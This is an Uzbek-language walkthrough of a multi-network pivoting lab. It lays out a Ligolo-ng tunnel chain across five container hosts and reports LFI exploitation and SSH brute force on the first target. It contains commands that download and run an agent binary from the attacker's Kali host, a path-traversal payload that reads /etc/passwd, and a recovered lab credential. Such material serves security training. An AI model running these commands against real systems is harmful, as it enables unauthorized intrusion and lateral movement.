by Muhammad Abdulloh 🐺

Umumiy Malumotlar

<aside> 💡

Tarmok Topologiyasi

[ Kali Linux ] ──(10.10.10.0/24)──► ┌────────────────┐ ──(20.20.20.0/24)──► ┌────────────────┐ ──(30.30.30.0/24)──► ┌────────────────┐ ──(40.40.40.0/24)──► ┌────────────────┐ ──(50.50.50.0/24)──► ┌───────────────────────┐
                                   │   inclusion    │                      │     trust      │                      │     upload     │                      │      move      │                      │  whereismywebshell   │
                                   │ 10.10.10.2     │                      │ 20.20.20.3     │                      │ 30.30.30.3     │                      │ 40.40.40.3     │                      │  50.50.50.3          │
                                   │ 20.20.20.2     │                      │ 30.30.30.2     │                      │ 40.40.40.2     │                      │ 50.50.50.2     │                      └───────────────────────┘
                                   └────────────────┘                      └────────────────┘                      └────────────────┘                      └────────────────┘

</aside>

**# === BOSHLANG'ICH SOZLASH ===
cd ~/PivotingTools
sudo ./proxy -selfcert

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# === 1-PIVOT: inclusion.tar (10.10.10.2/20.20.20.2) ===
# Target'da:
wget http://<kali_ip>:8000/agent
chmod +x agent
./agent -connect <kali_ip>:11601 -ignore-cert

# Ligolo konsolida:
session
# > 1 - root@055bb84caed8
start

# Kali'da:
sudo ip route add 20.20.20.0/24 dev ligolo

# === 2-PIVOT: trust.tar / mario (20.20.20.3/30.30.30.2) ===
# Ligolo konsolida (session 1 tanlangan holda):
session
# > 1 - root@055bb84caed8
listener_add --addr 20.20.20.2:11601 --to 127.0.0.1:11601

# Mario shell'ida:
./agent -connect 20.20.20.2:11601 -ignore-cert

# Kali'da:
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up

session
# > 2 - mario@33dcd4b03b42
start --tun ligolo2

sudo ip route add 30.30.30.0/24 dev ligolo2

# === 3-PIVOT: upload.tar (5cff3be4d2dc, 30.30.30.3/40.40.40.2) ===
session
# > 2 - mario@33dcd4b03b42
listener_add --addr 30.30.30.2:11601 --to 127.0.0.1:11601
listener_add --addr 30.30.30.2:8000 --to 127.0.0.1:8000

# 30.30.30.3 shell'ida:
wget <http://30.30.30.2:8000/agent>
chmod +x agent
./agent -connect 30.30.30.2:11601 -ignore-cert

# Kali'da:
sudo ip tuntap add user $(whoami) mode tun ligolo3
sudo ip link set ligolo3 up

session
# > 3 - root@5cff3be4d2dc
start --tun ligolo3

sudo ip route add 40.40.40.0/24 dev ligolo3

# === 4-PIVOT: move.tar / freddy (40.40.40.3/50.50.50.x) ===
session
# > 3 - root@5cff3be4d2dc
listener_add --addr 40.40.40.2:11601 --to 127.0.0.1:11601
listener_add --addr 40.40.40.2:8000 --to 127.0.0.1:8000

# Freddy shell'ida:
wget <http://40.40.40.2:8000/agent>
chmod +x agent
./agent -connect 40.40.40.2:11601 -ignore-cert

# Kali'da:
sudo ip tuntap add user $(whoami) mode tun ligolo4
sudo ip link set ligolo4 up

session
# > 4 - freddy@29958785de76
start --tun ligolo4

sudo ip route add 50.50.50.0/24 dev ligolo4**

<aside> 💡

Hisobot

</aside>

Enumeration (Ma’lumot to’plash)

Birinchi target (10.10.10.2) nmap -sV -sC bilan skanerlandi: 22/tcp (OpenSSH 9.2p1 Debian) va 80/tcp (Apache 2.4.57 Debian) ochiq topildi. 80-portda standart Apache2 sahifasi bo’lgani uchun ffuf bilan katalog fuzzing boshlandi — root darajada /shop topildi, ichida esa index.php aniqlandi. /shop sahifasida pastda System error: $GET['archivo'] xabari LFI (Local File Inclusion) zaifligini fosh qildi. index.php?archivo=../../../../../etc/passwd orqali /etc/passwd o’qildi va uchta foydalanuvchi (root, seller, manchi) aniqlandi — bu ro’yxat keyingi brute-force bosqichi uchun saqlab qo’yildi.

Initial Access (Kirish huquqiga erishish)

Topilgan foydalanuvchi ro’yxati (root, seller, manchi) bilan hydra orqali SSH brute-force qilindi. Natijada manchi:lovely kombinatsiyasi topildi va ssh [email protected] orqali muvaffaqiyatli kirildi.